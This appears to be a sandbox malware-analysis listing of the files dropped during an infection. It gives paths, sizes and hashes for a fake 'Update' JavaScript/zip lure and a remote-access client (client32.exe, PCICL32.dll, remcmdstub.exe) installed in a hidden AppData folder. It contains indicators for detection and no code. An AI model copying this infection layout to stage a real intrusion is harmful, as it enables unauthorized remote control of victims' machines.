4d5e94b09a3006ebdefd510b5c66757d

SHA1
89a592ebfe0ae25e147456ccce744387d71bfa64

SHA256
1eb7347ec3363807179817a825c9fa5ca8a441ede102669401b376b60cd6c897

SHA512
2e41a57bb563f7fa506c859325d45eeb01ba885f2050750b3d3fa51a42676e69aca4eaf33617f32519915f30b933101177c68ab9c219defc4f03d16e41db3d01

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
69b61d5edebc530067d2166326b4353c

SHA1
4f75f7598c275dc14fa7af5cb6ff4b0b0e52b3c0

SHA256
71643aee1ad94aef1726de079f13d5ff6f570e7b9026c6e05471926046f45409

SHA512
9958d729b3fcfc777a925fed0233a1d5292c0c22e557d64cb0e0ff6c8965be814c8fcf7956edf275fc07a8861251065bef30af2e3fafac56ac9a700416943c8f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w15ypm4j.vx3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\RCJBYXJFG7\HTCTL32.DLL

Filesize
320KB

MD5
c94005d2dcd2a54e40510344e0bb9435

SHA1
55b4a1620c5d0113811242c20bd9870a1e31d542

SHA256
3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899

SHA512
2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

Download Submit
C:\Users\Admin\AppData\Roaming\RCJBYXJFG7\NSM.LIC

Filesize
195B

MD5
e9609072de9c29dc1963be208948ba44

SHA1
03bbe27d0d1ba651ff43363587d3d6d2e170060f

SHA256
dc6a52ad6d637eb407cc060e98dfeedcca1167e7f62688fb1c18580dd1d05747

SHA512
f0e26aa63b0c7f1b31074b9d6eef88d0cfbc467f86b12205cb539a45b0352e77ce2f99f29baeab58960a197714e72289744143ba17975699d058fe75d978dfd0

Download Submit
C:\Users\Admin\AppData\Roaming\RCJBYXJFG7\PCICHEK.DLL

Filesize
18KB

MD5
104b30fef04433a2d2fd1d5f99f179fe

SHA1
ecb08e224a2f2772d1e53675bedc4b2c50485a41

SHA256
956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

SHA512
5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

Download Submit
C:\Users\Admin\AppData\Roaming\RCJBYXJFG7\PCICL32.dll

Filesize
3.6MB

MD5
d3d39180e85700f72aaae25e40c125ff

SHA1
f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15

SHA256
38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5

SHA512
471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f

Download Submit
C:\Users\Admin\AppData\Roaming\RCJBYXJFG7\client32.exe

Filesize
101KB

MD5
c4f1b50e3111d29774f7525039ff7086

SHA1
57539c95cba0986ec8df0fcdea433e7c71b724c6

SHA256
18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d

SHA512
005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

Download Submit
C:\Users\Admin\AppData\Roaming\RCJBYXJFG7\client32.ini

Filesize
670B

MD5
8684f84c76c111c4d47dd49106775030

SHA1
620a70cb5d9a4e0d10b2d86ee0ddecdaac1575b7

SHA256
c01152c4b80841f2a4900513fded183f2dbd8d7d57e84744b0ae8e6068060c37

SHA512
4c5d39ffb3bf1bc0f50aedf1b76b34cb1d47c87ed31102335280f1a48f9b289084f397a477f006999a43b7d024ada4ae020330b41888e77f8320762aabaebbf0

Download Submit
C:\Users\Admin\AppData\Roaming\RCJBYXJFG7\msvcr100.dll

Filesize
755KB

MD5
0e37fbfa79d349d672456923ec5fbbe3

SHA1
4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

SHA256
8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

SHA512
2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

Download Submit
C:\Users\Admin\AppData\Roaming\RCJBYXJFG7\pcicapi.dll

Filesize
32KB

MD5
34dfb87e4200d852d1fb45dc48f93cfc

SHA1
35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

SHA256
2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

SHA512
f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

Download Submit
C:\Users\Admin\AppData\Roaming\RCJBYXJFG7\remcmdstub.exe

Filesize
62KB

MD5
6fca49b85aa38ee016e39e14b9f9d6d9

SHA1
b0d689c70e91d5600ccc2a4e533ff89bf4ca388b

SHA256
fedd609a16c717db9bea3072bed41e79b564c4bc97f959208bfa52fb3c9fa814

SHA512
f9c90029ff3dea84df853db63dace97d1c835a8cf7b6a6227a5b6db4abe25e9912dfed6967a88a128d11ab584663e099bf80c50dd879242432312961c0cfe622

Download Submit
C:\Users\Admin\Downloads\Update - 93788.zip

Filesize
9.4MB

MD5
517607476457971b437fe54d215c5ff4

SHA1
76ef12c8c478c91751d6a8e87b31381f5bcd7a3a

SHA256
29b807a65c44106eda88a279eacc06ae5f236e43154cd808ea073d18598b1e3e

SHA512
1b64858a2d43f9bfbb6da666b610271b2dc30dc8e4f52bc3385ffb3590fab9b01aa4eddcef737c587a892d0c5c5ca9a170f850621dca0a4cba1bfdf21f5adef3

Download Submit
C:\Users\Admin\Downloads\Update 126.0.6478.127.js

Filesize
3.6MB

MD5
10800ac2ebf5cc42dbe34ecc06679a81

SHA1
6cb539e915eaa803bcde5dbbb2eea5a145a0e5ef

SHA256
d8143c7df18326da02953d56fbed35efe9991d34a83e0ae6cbe7dd1bb940d514

SHA512
bd0b9ca6b3f2bbfc35b614555fbff369308a0d02cb2bf4795e88e9b60dbd331cd0c10a92d87730d6b83f082de2daf763d066c9691570a6dae296ea3f932bb7bc

Download Submit
memory/2292-982-0x000001A9EC740000-0x000001A9EC752000-memory.dmp

Filesize
72KB

Download
memory/2292-967-0x000001A9EC710000-0x000001A9EC71A000-memory.dmp

Filesize
40KB

Download
memory/2292-64-0x000001A9EC6C0000-0x000001A9EC6E2000-memory.dmp

Filesize
136KB

Download